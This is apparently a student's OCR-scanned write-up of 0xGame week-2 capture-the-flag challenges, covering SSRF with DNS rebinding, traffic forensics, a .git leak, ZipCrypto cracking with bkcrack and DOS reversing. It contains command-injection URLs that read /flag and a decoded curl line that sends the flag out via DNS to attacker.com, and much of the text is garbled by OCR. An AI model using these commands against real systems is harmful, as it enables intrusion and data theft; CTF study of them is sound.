Week2_&_B25041708_wp

Web

1 ARSF, NEBHA
aaencode M sk —TF

aadecode - Decode encoded-as-aaencode JavaScript program. (1 )['_']

Enter encoded code:

fwii=/ 'my ) TA—L e w [ 0] 0=CF") =23 o=(007) =(C-T)-C-T): (%) =C e )= (o _"a)/
@ To); ()= et 7 " ety ((wty==) ) [et] S et N Te -] [ AT (- ==3)
ST o) e’ ] =(Ce'y=3) + ) [ 00" [1=(Cn") ") [ C-")+C-")-Ce") 1,
T°) o) = (CH)+ ") (e );Co)=Cn") [e’J+C ) Co'l+C o™ #7081+ (Co’s=3) +' ") [-"]
SCAT) H2) L0014 (=) ¥ 20) POt IHC-"=3) #) [C-) - 8]+ A 1
L)+ ") [C=)+C=")1+ € 0°) [0/ ]+(C="==8) +' ) ['e'1:C ") '] =0"_"0) ["o'] ["a"): (" e")=(C-"
=3) £ ") @]+ (0" o) ) (=) s (-I1HC-= o=@ ]+((="==3) < ") [
@1+ (' )Y[e’]; (-)=(e IO et (A =0 ") o e - @) ] (0" - )=l
o) e el ) [ 1IN () 2T A U201 (e[’ l+ (A e 1+ 0")+ (-7)+
Co+ ([ e+ e)+ ((-7) + (o) () (AL e ]+ 07+ () ((-7) + (@7))+ (A7) e7]+
(@) (o0 +lo @)+ (0™ "0) = (@ ))+ (A "1+ ®)+ (lo"_"0) +lo o))+ (=)+ (A)H[ e’ 1+
=)+ (e N+ e o+ (O "1+ =)+ (o o) — (@ N+ () e’ )+ (0 )+ (" _To)+ ((O%)
et d+( o)+ (=0 (=) = (@)« (A e 1+ @)+ (=) + (@)= (=)= ()] eI+ 0+ (=) »
s L@ L) C I et 1+ 0% (F=) = P )+ (=) + (o "o+ I e 1+ =") = (F@" )+ [ 4

aadecode |

e

alert ("Hello, JavaScript”)

Flag: 0xGame{Hello, JavaScript}



2. DNS 7823t

#BEIFFIE A K, %R, FHRIEH

<« » C  AFms 8000-203f2a72-b753-47a2-ba93-e832d7c06c08 challenge.ctfplus.cn/ssrifurl=http://1 14 . 5. 1. 4&cmd=Is
@' # Google Chrome iEhBLiAMINER, FHHEHERTNESE

app-py

RIS flag BFEITR

4 http://8000-203f2a72-b753-47a2-bad3-

£832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%I1%EF%BC%I 1%EF%BC%I4%E F%

BCHSENEF%BCU%ISEF%BCUSEUEFNBCHI LUEFNBCHSENEF%RBCY%I4&cmd=find%20/%20-

nameh20%22+flag*%22%202%3E/dev/nul

—TREXM |

« C  AF=® 8000-203f2a72-b753-47a2-ba93-e832d7c06c08.chall ctfplus. rf2url=http://114. 5. 1. 4&cmd=find%20/%20-name%20"*f...

@ % Google Chrome @ABARIMASR, FHERETEIHERL

/devices/platfor ial8 tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/dewces/pla(iorm/senaI8250/uy/ny$l3/ﬂags ys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platfor ial8: tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttySO/flags /sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags /sys/d 'es/platfo. [serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devmes/platform/senaI8250/ny/tty510/ﬂags ys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS1/flags

s/platfor ial8 tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags

&

05 oz o()

x

/sys/dev:ces/ platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/eth0/flags /sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/tunl0/flags /sys/module/scsi_mod/ /default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/sys/net/ipv4/fib_notify_on_flag_change

[proc/sys/net/ipv6/fib_notify_on_flag_change /proc/kpageflags /flag

Cat—T (7

« » C AFms 8000-203f2a72-b753-47a2-bad3-e832d7c06¢08.challenge.ctfplus.cn/ssrffurl=http//1 14 . 5. 1. 4&cmd=cat%20/flag

@ % Google Chrome IEABIAIITE, FENEEIIESE

OxGame{DNS_Rebinding_is_Really_Magical}

0xGame{DNS_Rebinding_is_Really_Magical}

& *

[ IS N = O


http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul
http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul
http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul
http://8000-203f2a72-b753-47a2-ba93-e832d7c06c08.challenge.ctfplus.cn/ssrf?url=http://%EF%BC%91%EF%BC%91%EF%BC%94%EF%BC%8E%EF%BC%95%EF%BC%8E%EF%BC%91%EF%BC%8E%EF%BC%94&cmd=find%20/%20-name%20%22*flag*%22%202%3E/dev/nul

Misc

1. ezShito

BER http MAMA BN T Is, BEFEE flag Xt

uthorization: Basic bHM=
ccept: text/html,application/json,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8§|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
ko) Chrome/75.0.3770.142 Safari/537.36 Hutool
ccept-Encoding: gzip, deflate
ccept-Language: zh-CN, zh;q=0. 8|
Cookie: JSESSIONID=920395CE3336B51A35B375B73E48C4E4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cache-Control:
Pragma: no-
Host: 61.139.2.128:8080
Connection: i
Content-Length:

RPimBaA, BREAHEXNES, Rid+otl3 BRI

N ISP G - e Tl 3VYy D CAKKGNhdCAVZmxhZyB8TIHJI Ld1B8THRYICABLVphLXonICdOLVpBLULuLXphLWOnN
IHWgYMFZZTYOIHwWgdHIgLWQgJ1xuJykuYXROYWNrZXIuY29t

Accept: text/html,application/json,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, !

ko) Chrome/75.0.3770.142 Safari/537.36 Hutool

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;qg=0. 8|

Cookie: JSESSIONID=920395CE3336B51A35B375B73E48C4E4
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cache-Control:

Connection:
Content-Length:

~ e IR [ R AMI T £ M N U] £ A8 e s A T 48 T T 3 A T A T A gt 4 g i - .

Download CyberChef ¥ Last build: 2 months ago - Version 10 is here! Read about the new features here Options R About / Support @
Operations Recipe ~ B E Input +Dh=3a =
< h Y3VybCAKKGNhdCAvZmxhZyBEIH]1diB8IHRYICdBLVPhLXonICdOLYVpBLULULXphLiWenIHwgYmFZzZ TY@IHugdHIgLWQg
Search.. From Base64 &
J1xuJykuYXRBYWNrZXTuY29t
Favourites * Alphabet
A-Za-26-9+/=
To Base64
i Remave non-alphabet chars O strict mode
From Base64
To Hex
From Hex
To Hexdump
From Hexcump noe 118 = 1 Tr Raw Bytes & LF
URL Decade Output a0m:o

Regular expression curl $(cat /flag | rev | tr 'A-Za-z' 'N-ZA-Mn-za-m' | bases4 | tr -d ‘\n').attacker.con

Entropy
Fork

Magic

Data format
Encryption / Encoding

Public Key =
o
STEP
Auto Bake
w87 =1 [ pa07 (13 selected) @ e Tr R ptes e LF

Arithmetic / Logic



& attacker, FXZE| DNS

11 5.153387537  61.139.2.128 61.139.2.2 DNS 101 Standard query OXf4dl AAAA FTBIMXVGX2dmaFd7cnpuVGswCg==.attac
12 5.153601482 61.139.2.128 61.139.2.2 DNS 101 Standard query 0x9f5d A fTBLMXVGX2dmaFd7cnpuVGswCg attacker
13 10.159628056 61.139.2.128 61.139.2.2 DNS 101 Standard query Oxf4dl AAAA FTBIMXVGX2dmaFd7cnpuVGswCg==.attac
14 10.159758603 61.139.2.128 61.139.2.2 DNS 101 Standard query 0x9f5d A fTBLMXVGX2dmaFd7cnpuVGswCg attacker
15 15.164065098 61.139.2.128 61.139.2.2 DNS 113 Standard query 0xd892 AAAA FTBLMXVGX2dmaFd7cnpuVGswCg==.attac
16 15.164204411 61.139.2.128 61.139.2.2 DNS 113 Standard query 0x3ba8 A fTBIMXVGX2dmaFd7cnpuVGswCi attacker
17 20.170129168 61.139.2.128 61.139.2.2 DNS 113 Standard query 0x3ba8 A fTBIMXVGX2dmaFd7cnpuVGswC attacker
18 20.179310323 61.139.2.128 61.139.2.2 DNS 113 Standard query 0xd892 AAAA fTBLIMXVGX2dmaFd7cnpuVGswCg==.attac
S T
REUFRRL—T, B8
’
<« @ % gchq.github.io/CyberChef/#recipe=From Base64('A-Za-20-9%2B/%3D true,false) ROT1 3(true, true,false,13)&input=ZIRCbEIYVkdYMmMRIVUZKN2NucHV.. B &% B £} | ®
Download CyberChef & Last build: 2 months ago - Version 10 is here! Read ut the new features here
Operations Recipe ~ BB E  Input
) FTBLMXVGX2dmaF d7cnpuVGsuCe=-
ROT13 From Base64 - prtEees
ROT13 Alphabet
A-Za-z8-9+/=

ROT13 Brute Force

. Remove non-alphabet chars [ strict mode
Favourites *

Data format ROT13 ~

Encryption / Encoding
Rotate lower case chars Rotate upper case chars

Public Key

Arithmetic / Logic [ Rotate numbe ;;rm —m =5 oD O
Networking Output a0®
Language }erihs_tsul{emaGxe
Utils

Date / Time

Extractors

Compression

Hashing

Code tidy >

STEP o Auto Bake

Errancice —a = M ame T e feeecandy e 1

Flag: 0xGame {Just_Sh1rO}

2. ezEXIF

Exiftool 1&2— T

D:\exiftool-13.38_6uU>exiftool —-make=hacker 66.jpg

1 image files updated

Camera Model Name 935415 F Model XA~ & R

D:\exiftool-13.38_6uU>exiftool rite_original -Model="Kali linux" 66.jpg

1 image files updated




NMERESRER, FTRAATEESE, TS UARNEBIRERT

D:\exiftool-13.38_6U>exiftool -overwrite_original -Description="motto:I can be better!" 66.jpg

1 image files updated

010 BENKRES (—HRENR T IHE

28 28 28 28 28 28 28 28 28 28 28 28 FF CO 00 11 ((
08 00 01 02 9A 02 11 01 03 11 01 FF C4 00 1C 00

BT SEAER 3R] exiftool ERAREM A ERTES, BT MEMEE, ik 010

v
00 00 00 00|00 00 39 39 39 39 3A 31 32 3A 33 31| EY9G0EN P 31|
|20 32 33 3A 35 39 3A 35 39 00 FF E1 /0B 65 68 74 | 23:59:59.ya.eht
74 70 3A 2F 2F 6E 73 2E|61 64 6F 62 65 2E 63 6F tp://ns.adobe.co

]

00 04 01 02|03 00 AO 01|00 03 00 00|00 01 FF FF
00 00 00 00 00 00 39 39 39 39 3A 39 39 3A 39 39

20 36 36 3A 36 36 3A 36 36 00|FF E1/0B 65|68 /4

Flag: OxGame{sometimes_Our_eYes_may_che@t_us!!!'}

3. B 3 %

T Git, F— 9%

$ git branch -a

REEREILERR orz

/d/0x/week2/.git
$ git checkout branch_master
fatal: this operation must be run in a work tree

/d/0x/week2/.git
$ git checkout master
fatal: this operation must be run in a work tree

SBITIAE—THE, RIABHERR



x/week2/.git

$ git log --oneline

792853 (HEAD -> master) save output
c5bT454 initial

Cancan EEBEXERA, KMEXH

/d/0x/week2/.git
$ git Is-tree -r --name-only 79f2853
README . md

: str, shift: int) -> str

/d/0x/week2/.git
$ git show 79f2853:output
Vg4 3DREJHUGXFQISEAKNEZkVBTkgCcQQPAAKEDZK TKQRXHWMFROAHGW==

B REE A



Daseb4
xor_key = 0x66

caser_shift
b64_ciphertext

cipher_bytes = base64.b64decode(b64_ciphertext)

xor_bytes( 3 : int) -> bytes:

b )

xor_decoded_bytes = xor_bytes(cipher_bytes, xor_key)

xor_decoded_str = xor_decoded_bytes.decode("utf-8", ="replace")

caser_decrypt(

result = []
char -
‘A’ <= char <=
result.append(chr((ord(char) - ord('A") - % 26 + ord('A’
‘a' <= char <= 'z':
result.append(chr((ord(char) - ord(‘'a') - % 26 + ord('a’

result.append(char)
''.join(result)

plaintext = caser_decrypt(xor_decoded_str, caser_shift)

print ("R plainte
print(plaintext)

(At o] U FH base64 fR%L, % CyberChef f# Xor , Bl EIE)
BITER

Recovered plaintext:

OxGame{.git leak is Veryvery SErlous!!!}

Flag: OxGame{.git_leak_is_Veryvery_SErlous!!!}

4. 97 45 I A%

010 KA ZENE



3] PR -Eh¥BLE:
D150 00 0g_o01g h. b [l

TElstruct ZIPFILERECORD record[O] = flag.txt
46 3| enum COMPTYPE frCompression 2

22

10 21 TyX . AUE.i.\a-
67 YpglOsece- &*éYPDK
FF oey Z*?ay+-89.j
50

2D DC A6

68 75 69

7z I BRSO

CRC &%
E7B7038A ZipCrypto Store
04A6DC2D ZipCrypto Store

Bkcrack 18] Y&

D:\bkerack-1.8.0-win6u>bkecrack.exe -L D:\0x\week2\attachment.zip
bkcrack 1.8.0 - 2025-08-18

Archive: D:\@x\week2\attachment.zip

Index Encryption Compression CRC32 Uncompressed Packed size

0 ZipCrypto Store e7b7038a
1 ZipCrypto Store edabdc2d 10149855 10149867 huiliyi.png

E—F png kA9 txt

89504E470D0ATADA0000000D49484452

RIE AR

D:\bkcrack-1.8.0-winéu4>certutil -decodehex D:\@x\week2\png.txt header.bin
Fo ) de
MAKE = 32

HHKE = _
CertUtil: -decodehex @4 k10 5E

PAXHE—T (B AR E5RIZES bkerack AT R BB cmd 69 7R orz

ment.zip -c huiliyi.png -p D: ack-1.8.8-win6U\header.bin
known pl.

s at index 6

« with the option:




x\week2\new.zip ab

OxGame(Y0u_cRacked M3iz1p_is_uNsafel}

Flag: OxGame{YOu_cRacked_M3!z1p_ls_uNsafe!}

Reverse

1.16bit

A dos 4777

~ [ posBox 0.74, Cpu speed:... — X

Welcome to DOSBox w@.74

For a short introduction for new wsers type: INTRO
For supported shell commands type: HELP

To adjust the emulated CPU speed, use ctrl-Fil and ctrl-FiZ.
To activate the keymapper ctirl-F1.
For more information read the README file in the DOSBox directory.

HAVE FUN?
The DOSBox Team http:/ wa.dosbox.com

*\>BET BLASTER=AZZO IY D1 HS T6

INYMOUNT CVDisOweek2
Drive C is mounted as local directory D:\GxwweekZh

AR
C:\>16BIT.EXE

flag =0xGame{gOOd_u_4r3_th3_mi5t3r_0Of _45m_E2f7alb34}
Cin>3_




Flag: 0xGame{g00d_u_4r3_th3_m45t3r_0f_45m_E2f7alb34}

Osint

1. £ 3F 6 AT

PO ZS B8843 AHIiCF

T —— R Tae—

oozeMesT TomPMCST

oemPMoST cozemcsT 0w
r2umcsT caemest 0w

Rarmng Changten ) (45 sAMCST TemMesT 10

Crenghu Suah 1 (57 os2PMCST TozEMCST 1@

wrming Charghu o) 5 ceweMcsT cezwmMcst 2@

Vareming Changeht 16 €45 £965) oremcsT cawwmcsT 2w
g Shusnghs 0 (11 24D wPMEST TaMEST 1
y zoem coxpMesT TowPMcsT s
cezMesT coapMcsT 2w

200 2ewmest cosewest 1

g Shusngh 06 (511 20 Karming Changitul 1 (8345 W@AMEST ToBMET 100
Werening Chargshl 1€ €8 2605) Chungtu S (2 comemcsT ozemcst  oss
e hsgab Apeet (L84 2745 PR —— camemcsT csiwmcst o
Kareming Changeht 16 (€45 2755) Oate Mangani Aot (124 2605 eEMesT cromMesT  om
g Shusnghs ) (G111 2400 ——-ry JonAMeST Mt 108
Werening Changsht € 64 2955) Chumghu Sunrgi e (11 2400 ooemesT TrowMest 1ok
Vascheng (12412816 Surmog Chargatu ) asibMCsT cemewcsT 2w
Katening Chungshl 1 580 200%) Vschun (150 2815) oot casmcst 2o
Changa Shusngh e (T 2480) urming Chargstu e (2402665 TUIGAMCST  TAMMCST 104
Morening Chungab 1 430 205 RP——— coswmcsT rammest 1
et hangab Apeet (L1 5911 st csaeMcst  ose
Ketening Changehl 11 {5 2asMCST CLMPMCST o
Changa Shusnghs ) (£11 2U88) sozaMesT 2mMesT 10y

b o AL 25 Chaegty s KV ETILL UL rraacsr woeaest .
g srusrg o1 (511 2180 v o 226 orzmMosT TiaMMosT
Faremi Chargaiud ] (52294 Charg s 41511 21 commACeT asbuesT 108
ereheng 152/ 28151 g s I (945 1 255F) T wmRMCTT 208
ISMSIWE AW Kurming Chugses i k. ZEE meneng 2 21 [
GG ARO  Chaghs g ) (ST ) i s ) (305 ) s Tt 9
SIS AT v oy {THL/ TR e Svaei 4TSI ZUD GMCT ameCIT 10
sssmacer mevsues 2
v Yoo (148, 25180 g Gagets (204 200 eMeT woPMcT 228
enp Shusrgu ) ST 2087 e Taogr 048, 251 omaucsT vimewcsT s
z I s seweucs waucsT 1o
o Masgeht Anpor AL ZBS) b gt ) (05 Z55E) crcs MG 8w
Furenin S 11 (P e moaeMest s
o) oeacsr et e
Farenig Crangu ) (44 55 BIPMCTT WNPMCT 108
oo mmecsT 20
TIAMMCET 2MPMCST 14
Charg s 10511 2150 commacer wmmucsT
i i I (45 2555} CeIPMCST RHMPMCTT @55
[ - asaacsr mamiesr s
Mg s ) (305 2] TommaceT TimeucsT v
Chergi st 41 STLL 2L OGS TG 108
Kurming St ) (545 2057 semmacs meswuest 108
LLENIWE AR Karmng Changues o ZEEE mcneng 20 261 ovmMcsT muMesT 296
semeis w0 sy e ToGMMCET TIOMAMST 198

— PN PRRK
ZUH ZiE£EY5
(£FE T wp IRIR orz

Flag: 0xGame{296d0dd1964288715beb8e2d06dcalab}



